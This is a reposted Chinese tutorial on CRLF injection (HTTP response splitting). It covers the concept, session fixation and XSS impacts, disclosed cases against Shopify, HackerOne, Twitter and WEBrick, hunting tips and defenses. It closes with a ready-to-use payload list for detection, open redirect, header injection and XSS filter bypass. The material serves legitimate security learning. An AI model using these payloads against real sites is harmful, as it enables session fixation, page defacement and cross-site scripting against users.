CRLF注入（响应截断）挖掘技巧及实战案例全汇总（转载）
https://cloud.tencent.com/developer/article/1516335
1、概念
CRLF是CR和LF两个字符的拼接，它们分别代表”回车+换行”（\r\n）“，全称为Carriage Return/Line Feed”，十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令，它表示键盘上的"Enter"键，许多应用程序和网络协议使用这些命令作为分隔符。
而在HTTP协议中，HTTP header之间是由一个CRLF字符序列分隔开的，HTTP Header与Body是用两个CRLF分隔的，浏览器根据这两个CRLF来取出HTTP内容并显示出来。
所以如果用户的输入在HTTP返回包的Header处回显，便可以通过CRLF来提前结束响应头，在响应内容处注入攻击脚本。因此CRLF Injection又叫HTTP响应拆分/截断（HTTP Response Splitting）简称HRS。
我们可以在本地测试一下CRLF字符的作用，如我们输入aaaa%0d%0abbb%0d%0a%0d%0accc，能看到插入一个字符和两个字符的区别：换行和插入空行：
2、漏洞危害
根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。
1、 会话固定
一个常见的跳转响应包：
HTTP/1.1 302 Moved Temporarily
Date:Fri,26Jun 2018 17:00:05 GMT
Content-type:text/html
Contet-Length:155
Connection:close
Location:http://www.sinay.com.cn
当攻击者利用CRLF字符对响应头中的Location进行如下输入：
%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite
则返回包会变成：
HTTP/1.1 302 Moved Temporarily
Date:Fri,26Jun 2018 17:00:05 GMT
Content-type:text/html
Contet-Length:155
Connection:close
Location:http://www.sinay.com.cn
Set-Cookie:JSPSESSID=hackingsite
攻击者就可以给访问者设置一个session，造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。
2、 反射型xss
上述案例，如果我们输入的是：
%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
则返回包会变为：
HTTP/1.1 302 Moved Temporarily
Date:Fri,26Jun 2018 17:00:05 GMT
Content-type:text/html
Contet-Length:155
Connection:close
Location:
<img src=1 onerror=alert(/xss/)>
浏览器会根据CRLF将http包分为header和body，然后将body中的内容执行，从而达到XSS。
从上面的案例中，如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection:0，可绕过浏览器的过滤规则实现XSS弹窗显示。
3、实战案例讲解：
1、Shopify响应拆分
shopify会在后台中记录用户上次访问的是哪一个商店，然后将其放置在cookie，如访问/last_shop? xxx.shopify.com，则返回set-cookie:xxx.shopify.com,所以输入：
/last_shop?xxx.shopify.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>
最终解析的结果为：
Set-cookie: xxx.shopify.com
Content-Length:0
HTTP/1.1 200 OK
Content-Type:text/html
Content-Length: 19
<html>deface</html>
2、Hackerone响应拆分
这个案例也是302跳转类型，但略有不同，访问
info.hacker.one/%0d%0a%09headername:%20headervalue
Location正常取值info.hacker.one，剩下的解析为Header头。
3、Twitter过滤绕过
用户在访问
https://twitter.com/i/safety/report_story地址时，服务器会获取参数reported_tweet_id的值，并将其设置到cookie中，最后导致了漏洞。
这里Twitter禁止用户提交换行符0x0a（%0a），但通过探测，发现其后端检测逻辑为：如果提交的数据是UTF-8编码过的，则会将其解码，去除无用字符后作为cookie输出，所以如果提交%E5%98%8A，不被拦截且经Unicode解码后变为U+560A，最后取0A，同样输入%E5%98%8D最后变成0D，最终payload为：
reported_tweet_id=%E5%98%8A%E5%98%8DSet-Cookie：%20test
探测漏洞存在，可进一步进行利用，输入：
reported_tweet_id=test%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
经过服务器处理后返回的数据就会变成下面的html响应的形式：
Set-cookie: test
content-type:text/html
location:
<svg/onload=alert(innerHTML)>
4、WEBrick响应拆分
补充一例简单的CRLF，取自CVE-2017-17742：WEBrick取get参数author作为cookie输出，访问
localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked
返回报文：
4、挖掘技巧：
挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的输入“输入“和“输出”位置，对于CRLF则是观察返回的各种类型的协议头，所以挖掘分三步：
1、观察输出是否在返回头中，查看输入，可能是在URL值和参数、cookie头中。在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和302跳转location处。
2、提交%0D%0A字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过。
3、漏洞利用，使杀伤最大化，将漏洞转化为HTML注入，XSS，缓存等。
5、防御手段：
要避免http响应截断，需要注意以下几点：
1. 对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
2. 创建安全字符白名单，只接受白名单中的字符出现在HTTP响应头文件中。
3. 在将数据传送到http响应头之前，删除所有的换行符。
附：CRLF Payload：
探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header
CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
